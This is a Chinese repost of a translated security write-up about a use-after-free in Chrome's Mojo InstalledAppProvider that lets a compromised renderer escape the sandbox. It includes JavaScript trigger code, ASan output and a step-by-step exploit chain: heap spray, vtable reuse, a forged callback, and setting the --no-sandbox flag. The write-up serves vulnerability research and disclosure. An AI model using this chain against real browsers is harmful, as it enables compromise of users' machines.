最新公告
  • 欢迎您光临悠哉网,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入我们
  • 利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱

    利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱

     0x01 分析背景

    我的目标是使不熟悉Chrome浏览器开发的人可以看懂这个帖子,因此,我将从了解Chrome的安全架构和IPC设计开始。请注意,此部分的所有内容也适用于基于Chromium的Edge,默认情况下已于2020年1月15日发布。

    Chrome 架构

    Chrome安全体系结构的关键支柱是沙箱。Chrome将网络的大部分攻击面(例如DOM渲染,脚本执行,媒体解码等)限制为沙盒进程。有一个中央进程,称为浏览器进程,它不在沙盒中运行。这个图表,显示了每个进程中的攻击面以及它们之间的各种通信通道。

    https://docs.google.com/drawings/d/1TuECFL9K7J5q5UePJLC-YH3satvb1RrjLRH-tW_VKeE/edit
    除了沙盒功能外,Chrome还实现了站点隔离,可确保来自不同来源的数据在不同的沙盒流程中进行存储和处理。这样做的结果是,破坏沙盒进程甚至不应允许攻击者泄漏用户浏览数据的其他来源。

    这种架构的结果是,大多数Chrome漏洞利用程序都需要两个或多个漏洞:至少一个要在沙盒进程(通常是渲染器进程)中执行代码,而至少一个要逃逸沙盒。

    我将要研究的漏洞允许受损的渲染器进程逃逸沙箱。

    Mojo IPC

    Chrome进程通过两种IPC机制相互通信:旧版IPC和Mojo。旧版IPC即将淘汰,支持Mojo,并且与该bug的讨论无关,因此我仅关注Mojo。

    引用Mojo文档,Mojo是运行时库的集合,这些运行时库提供了与平台无关的通用IPC原语抽象,消息IDL格式以及具有用于多种目标语言的代码生成功能的绑定库,以方便跨任意进程间和进程内边界传递方便的消息。

    漏洞代码的Mojo接口定义:

    1. // Represents a system application related to a particular web app. 
    2.  // See: https://www.w3.org/TR/appmanifest/#dfn-application-object 
    3.  struct RelatedApplication { 
    4.    string platform; 
    5.    // TODO(mgiuca): Change to url.mojom.Url (requires changing 
    6.    // WebRelatedApplication as well). 
    7.    string? url; 
    8.    string? id; 
    9.    string? version; 
    10.  }; 
    11.   
    12.  // Mojo service for the getInstalledRelatedApps implementation. 
    13.  // The browser process implements this service and receives calls from 
    14.  // renderers to resolve calls to navigator.getInstalledRelatedApps(). 
    15.  interface InstalledAppProvider { 
    16.    // Filters |relatedApps|, keeping only those which are both installed on the 
    17.    // user's system, and related to the web origin of the requesting page. 
    18.    // Also appends the app version to the filtered apps. 
    19.    FilterInstalledApps(array related_apps, url.mojom.Url manifest_url) 
    20.        => (array installed_apps); 
    21.  }; 

    在Chrome构建过程中,此接口定义将转换为每种目标语言(例如C ++,Java甚至JavaScript)的接口和代理对象。这个特定的接口最初仅在使用Java Mojo绑定的Android上实现,但是最近对Windows的支持在C ++中实现。我的利用将使用JavaScript绑定(在受损的渲染器进程中运行)调用此C ++实现(在浏览器进程中运行)。

    此接口定义一种方法FilterInstalledApps。默认情况下,所有方法都是异步的(有一个[Sync]属性可以覆盖此默认值)。在生成的C ++接口中,这意味着该方法采用一个额外的参数,该参数是要使用结果调用的回调。在JavaScript中,该函数将返回一个Promise。

    了解一些Mojo术语将有助于阅读本文后面的代码。请注意,Mojo最近更改了这些名称,但是尚未迁移所有代码和文档,因此我将在必要时提供两个名称。另外,其中一些类型在Mojo接口上是通用的,但我仅引用InstalledAppProvider的类型。

    · A是通过 MessagePipe发送Mojo消息的通道。消息包括方法调用及其回复。

    · A Remote

    · A PendingReceiver

    · A SelfOwnedReceiver

    关于Mojo,还有很多其他可以说的,但是对于这篇文章来说,这是没有必要的。有关更多详细信息,建议你浏览docs。

    https://chromium.googlesource.com/chromium/src.git/+/master/mojo/README.md
    RenderFrameHost和Frame-Bound

    渲染器进程中的每个框架(例如主框架或iframe)都由浏览器进程中的RenderFrameHost来支持。请注意,一个渲染器进程可能包含多个帧,前提是它们都来自同一原点。浏览器提供的许多Mojo界面都是通过RenderFrameHost获取的。

    在RenderFrameHost初始化期间,BinderMap为每个暴露的Mojo接口填充一个回调:

    1. void PopulateFrameBinders(RenderFrameHostImpl* host, 
    2.                           service_manager::BinderMap* map) { 
    3.   ... 
    4.   map->Add
    5.       base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider, 
    6.                           base::Unretained(host))); 
    7.   ... 

    当渲染器框架请求接口时,BinderMap中的相应回调将被调用并传递PendingReceiver:

    1. void RenderFrameHostImpl::CreateInstalledAppProvider( 
    2.      mojo::PendingReceiver receiver) { 
    3.    InstalledAppProviderImpl::Create(this, std::move(receiver)); 
    4.  } 
    5.  // static 
    6.  void InstalledAppProviderImpl::Create
    7.      RenderFrameHost* host, 
    8.      mojo::PendingReceiver receiver) { 
    9.    mojo::MakeSelfOwnedReceiver(std::make_unique(host), 
    10.                                std::move(receiver)); 
    11.  } 

    在这种情况下,将创建一个新对象InstalledAppProviderImpl,并且将PendingReceiver与SelfOwnedReceiver绑定。

    0x02 漏洞分析

    如上面描述的那样,SelfOwnedReceiver保持unique_ptr到InstalledAppProviderImpl,这意味着Impl将保持active,只要底层MessagePipe连接的停留。此外,InstalledAppProviderImpl包含指向RenderFrameHost的原始指针:

    1. InstalledAppProviderImpl::InstalledAppProviderImpl( 
    2.     RenderFrameHost* render_frame_host) 
    3.     : render_frame_host_(render_frame_host) { 
    4.   DCHECK(render_frame_host_); 

    FilterInstalledApps调用该方法时,将在此原始指针上进行虚函数调用:

    1. void InstalledAppProviderImpl::FilterInstalledApps( 
    2.     std::vector related_apps, 
    3.     const GURL& manifest_url, 
    4.     FilterInstalledAppsCallback callback) { 
    5.   if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) { 
    6.     std::move(callback).Run(std::vector()); 
    7.     return
    8.   } 
    9.  
    10.   ... 

    因此,如果RenderFrameHost在释放之后调用此方法,则会发生UAF的情况。

    此提交在Chrome 81.0.4041.0中引入了此漏洞。几周后,此提交中的bug恰巧移到了命令行flag的后面。但是,此更改是在Chrome 82.0.4065.0中,因此该漏洞利用在Chrome Stable 81的所有桌面平台上都是可以实现的。

    0x03 漏洞利用

    触发漏洞

    尽管有可能从纯JavaScript触发该漏洞,但几乎可以肯定它不会被利用。相反,我将通过启用MojoJS绑定(--enable-blink-features=MojoJS在Chrome命令行上使用)来模拟一个受感染的渲染器进程。这些绑定将Mojo平台直接暴露给JavaScript,从而使我可以完全绕过Blink绑定。请注意,可以通过折衷的渲染器过程启用这些绑定,方法是翻转内存中的某个位,然后创建一个新的JavaScript上下文,因此,我的利用代码可以轻松地用于bug链中。

    作为触发该漏洞的首次尝试,我使用了类似漏洞报告中的方法。这个想法是让框架产生几个子帧,每个子帧都将获取InstalledAppProvider框架的一堆实例的句柄。子帧filterInstalledApps反复调用以阻塞Mojo消息管道。几秒钟后,最上面的框架将移除子帧,从而使后面的RenderFrameHosts被释放。这也会在InstalledAppProvider MessagePipes 上导致连接漏洞,但是希望直到filterInstalledApps调用取消引用释放的指针之后,才会处理连接漏洞。

    https://bugs.chromium.org/p/chromium/issues/detail?id=977462
    使用以下脚本创建页面:

    1. function allocate_rfh() { 
    2.   var iframe = document.createElement("iframe"); 
    3.   iframe.src = window.location + "#child"; // designate the child by hash 
    4.   document.body.appendChild(iframe); 
    5.   return iframe; 
    6. function deallocate_rfh(iframe) { 
    7.   document.body.removeChild(iframe); 
    8. if (window.location.hash == "#child") { 
    9.   var ptrs = new Array(4096).fill(null).map(() => { 
    10.     var pipe = Mojo.createMessagePipe(); 
    11.     Mojo.bindInterface(blink.mojom.InstalledAppProvider.name
    12.                        pipe.handle1); 
    13.     return new blink.mojom.InstalledAppProviderPtr(pipe.handle0); 
    14.   }); 
    15.   setTimeout(() => ptrs.map((p) => { 
    16.     p.filterInstalledApps([], new url.mojom.Url({url: window.location.href})); 
    17.     p.filterInstalledApps([], new url.mojom.Url({url: window.location.href})); 
    18.   }), 2000); 
    19. else { 
    20.   var frames = new Array(4).fill(null).map(() => allocate_rfh()); 
    21.   setTimeout(() => frames.map((f) => deallocate_rfh(f)), 15000); 
    22. setTimeout(() => window.location.reload(), 16000); 

    经过几次刷新,终于找到了漏洞:

    1. ==8779==ERROR: AddressSanitizer: heap-use-after-free on address 0x620000067080 at pc 0x7f1aafa73589 bp 0x7ffed99af5d0 sp 0x7ffed99af5c8 
    2. READ of size 8 at 0x620000067080 thread T0 (chrome) 

    为了进行利用开发,我希望对何时触发UAF进行更多控制。如果我用本机代码编写漏洞利用程序,那么即使释放了子帧,我也可以使Mojo连接保持active状态,因为这些帧在同一进程中运行。但是,理想情况下,我希望保留JavaScript。

    很快发现了MojoJSTest绑定,该绑定为JavaScript提供了一些额外的Mojo功能。我的利用的相关函数是MojoInterfaceInterceptor,它能够拦截Mojo.bindInterface同一进程中其他框架的调用。我可以使用它来在终结子帧之前将端点句柄传递给父帧。

    如下:

    1. var kPwnInterfaceName = "pwn"
    2.   
    3.  // runs in the child frame 
    4.  function sendPtr() { 
    5.    var pipe = Mojo.createMessagePipe(); 
    6.    // bind the InstalledAppProvider with the child rfh 
    7.    Mojo.bindInterface(blink.mojom.InstalledAppProvider.name
    8.      pipe.handle1, "context"true); 
    9.   
    10.    // pass the endpoint handle to the parent frame 
    11.    Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process"); 
    12.  } 
    13.   
    14.  // runs in the parent frame 
    15.  function getFreedPtr() { 
    16.    return new Promise(function (resolve, reject) { 
    17.      var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash 
    18.   
    19.      // intercept bindInterface calls for this process to accept the handle from the child 
    20.      let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process"); 
    21.      interceptor.oninterfacerequest = function(e) { 
    22.        interceptor.stop(); 
    23.   
    24.        // bind and return the remote 
    25.        var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle); 
    26.        freeRFH(frame); 
    27.        resolve(provider_ptr); 
    28.      } 
    29.      interceptor.start(); 
    30.    }); 
    31.  } 

    因此,我现在可以使用getFreedPtr()来获得InstalledAppProviderPtr释放RenderFrameHost。然后call filterInstalledApps立即触发UAF。

    修改RenderFrameHostImpl

    该漏洞会在freed上调用虚函数RenderFrameHost。对于那些不了解虚函数调用的人,这篇文章可能会有所帮助。为了利用此漏洞,我希望控制释放的对象的数据。我可以使用通常的策略在浏览器过程中替换释放的对象。一句话概述就是:释放子帧后,我创建了一堆blob(使用Blob API或Mojo绑定),其中包含长度受控的数据sizeof(RenderFrameHostImpl)(Chrome 81.0.4044.69上为0xc38),并且希望我的数据最终能够替换堆中已释放的对象。

    https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/
    在此漏洞利用成功率还是挺大的。原因是RenderFrameHost的对象很大,因此在该堆存储中几乎没有内存分配。在我的测试中,通常我分配的第一个Blob替换了该对象,但是为了达到良好的效果,我做了一些额外的操作。

    现在,我面临一个问题:用什么替换vtable指针?没有浏览器进程中泄漏的堆指针,我无法将vtable指向我控制的数据,因此没有明显的方法跳转到任意代码。

    Windows上有一个ASLR的问题:DLL基地址不会在每次加载时随机化。因此,渲染器进程和浏览器进程之间的所有共享DLL都将在相同的基地址处加载,这包括chrome.dll包含大部分Chrome代码的120MB二进制文件。我的漏洞利用将假设我拥有此基址,对于受损的渲染器而言,这是微不足道的。

    此DLL 的.rdata部分包含其中定义的每个虚拟类的vtable,通过将这些地址用作vtable指针,我可以在完全受控的对象上调用任何虚函数。

    利用思路

    要在浏览器中执行完整的代码,可能需要比其中可用的机器更多的设备chrome.dll(例如,来自kernel32.dll或ntdll.dll的gadget)。例如,我可以使用堆栈视图表将数据放入我的受控数据中,并使用ROP分配一些RWX内存,复制shellcode并执行它。但是为了使我的漏洞利用简单,我可以使用快捷方式。

    由于我已经有了渲染器漏洞,因此技术上我需要的是未沙盒化运行的渲染器进程。幸运的是,这要容易得多。chrome中的每个进程都有一个全局CommandLine对象,该对象保存该进程的已解析命令行开关。当浏览器进程创建一个新的子进程时,它将某些控制指令从其CommandLine子进程传递给子进程。一个这样的指令是--no-sandbox,它的功能是:禁用沙箱。

    chrome.dll中有一个函数使我可以轻松地将此flag附加到CommandLine对象:

    1. void SetCommandLineFlagsForSandboxType(base::CommandLine* command_line, 
    2.                                        SandboxType sandbox_type) { 
    3.   switch (sandbox_type) { 
    4.     case SandboxType::kNoSandbox: 
    5.       command_line->AppendSwitch(switches::kNoSandbox); 
    6.       break; 
    7.       ... 
    8.   } 

    因此,在我的案例中,逃逸沙箱可以减少为使用正确的参数调用此函数。请注意,这不是虚函数,并且我不知道浏览器CommandLine对象的地址,因此我要做一些额外工作。

    避免崩溃

    为了构建更强大的原语,需要反复触发该漏洞。同样,以上策略要求浏览器在利用后仍可继续运行,另外两个虚函数调用:

    1. if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) { 
    2.    ... 
    3.  } 

    如果将调用重定向GetProcess()到其他虚函数,则必须确保它返回一个可以安全地调用这两个虚拟调用的指针。幸运的是,有一个简单的技巧可以触发此漏洞。我可以使第一个虚拟调用调用以下形式的虚函数:

    1. SomeType* SomeClass::SomeMethod() { 
    2.   return &class_member_; 

    调用这些函数之一将返回一个指针,该指针比render_frame_host_提前一个小偏移量,因此它仍然指向我的受控数据。为了方便起见,我选择了一个返回指针的指针,该指针比this提前8个字节,例如

    1. content::ContentClient* ChromeMainDelegate::CreateContentClient() { 
    2.    return &chrome_content_client_; 
    3.  } 

    对于第二个虚拟调用重复此想法,可以控制最终调用,而对其返回值没有任何限制。这是一个流程图:

    利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱

    泄漏堆数据

    泄漏堆指针实际上很容易,我调用任何将结果分配并存储为成员的虚函数:

    1. SomeClass::SomeMethod() { 
    2.   some_member_ = new Foo(); 

    我已经用Blob 替换了RenderFrameHost,因此我实际上可以要求浏览器将内容发送回给我!当我这样做时,我可以在其中找到堆指针。

    一旦有了堆指针,就可以使用堆喷将受控数据放置在可猜测的地址处。注意:在我的实际利用中,我使用了一些额外的gadget来查找原始被释放对象RenderFrameHost的精确地址,但这并不是完全必要的。

    任意调用

    我希望将任意虚拟调用转换为对任何函数的任意调用。一个简单的想法是使用堆泄漏将指向目标函数的指针放在已知(可猜测的)地址上,并将其用作我的vtable指针。这样可以成功调用目标函数,但是不幸的是参数仍然不受控制。

    为了控制参数,我使用另一种方法。回想一下,我在目标虚拟调用期间控制了类成员,因此我找到了一个虚函数来调用回调类成员,例如

    1. class FileSystemDispatcher::WriteListener 
    2.     : public mojom::blink::FileSystemOperationListener { 
    3.  public
    4.  ... 
    5.   void DidWrite(int64_t byte_count, bool complete) override { 
    6.     write_callback_.Run(byte_count, complete); 
    7.   } 
    8.  
    9.  private: 
    10.   ... 
    11.   WriteCallback write_callback_; 
    12. }; 

    其中WriteCallback只是特定类型base::Callback的别名:

    1. using WriteCallback = 
    2.     base::RepeatingCallback; 

    在Chrome中,Callback对象用于存储带有某些绑定参数的函数指针。就内存布局而言,它们仅包含指向BindState的指针,该指针具有以下布局:

    利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱

    并非所有这些域都对我都很重要。polymorphic_invoke是指向负责functor使用绑定参数调用函数(回调函数)的指针。显然polymorphic_invoke必须知道有多少绑定参数及其类型,因此我选择一个调用程序函数,该函数根据需要传递尽可能多的args(对于目标函数,这两个函数就足够了)。然后,使用堆泄漏,BindState使用目标函数和参数构建一个伪对象,并将其放置在堆中的已知地址处。现在,我触发UAF来调用FileSystemDispatcher::WriteListener::DidWrite和控制BindState回调的指针。

    利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱

    泄漏CommandLine指针

    全局CommandLine对象是在Chrome初始化期间分配的,而指针则存储在chrome.dll的.data部分中:

    1. // The singleton CommandLine representing the current process's command line. 
    2. static CommandLine* current_process_commandline_; 

    当然,有很多方法可以做到这一点。既然已经可以调用任何函数,则只需调用以下函数即可将指针复制到一个blob中,然后将其读回。

    1. static 
    2.  void copy64(void* dst, const void* src) 
    3.  { 
    4.         memmove(dst, src, sizeof(cmsFloat64Number)); 
    5.  } 

    利用总结

    使用以上内容,完整的利用方法概述:

    1. 使用渲染器漏洞来启用MojoJS,MojoJSTest绑定并找到chrome.dll的基地址。

    2. 触发UAF将新分配存储在Blob中,然后将其读回以泄漏堆指针。

    3. 堆喷BindStateS表示copy64(blob_ptr, current_process_commandline_),触发UAF,并读回命令行的指针。

    4. 堆喷BindStateS表示SetCommandLineFlagsForSandboxType(cmd_line, SandboxType::kNoSandbox),并触发UAF。

    5. 生成新的渲染器过程(例如,使用iframe到其他受控原点)。

    6. 再次使用渲染器漏洞利用会危害渲染器进程。

    0x04 分析结论

    综上所述,此bug演示了UAF漏洞利用开发的理想条件。替换释放的对象是高度可靠的,因为该对象位于很少使用的堆存储中,并且通过避免竞争条件,我可以根据需要安全地触发该漏洞多次。结果,我能够实现过程连续化,这意味着从用户的角度来看,浏览器将继续正常运行。此外,由于我仅使用来自chrome.dll的代码gadget,该漏洞很容易适应其他平台,特别是Mac OS,而Mac OS也缺少进程间库随机化。

    如果你想查看所有详细信息,可以在漏洞报告中找到完整的利用程序。

    https://bugs.chromium.org/p/chromium/issues/detail?id=1062091
    本文翻译自:https://theori.io/research/escaping-chrome-sandbox如若转载,请注明原文地址:

    1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
    2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
    3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
    4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
    5. 如有链接无法下载、失效或广告,请联系管理员处理!
    6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
    7. 如遇到加密压缩包,默认解压密码为"www.yoozai.net",如遇到无法解压的请联系管理员!
    悠哉网 » 利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    悠哉网 WWW.YOOZAI.NET
    悠哉网,用户消费首选的网站,喜欢你就悠哉一下。

    发表评论

    • 683会员总数(位)
    • 5219资源总数(个)
    • 191本周发布(个)
    • 12 今日发布(个)
    • 209稳定运行(天)

    提供最优质的资源集合

    立即查看 了解详情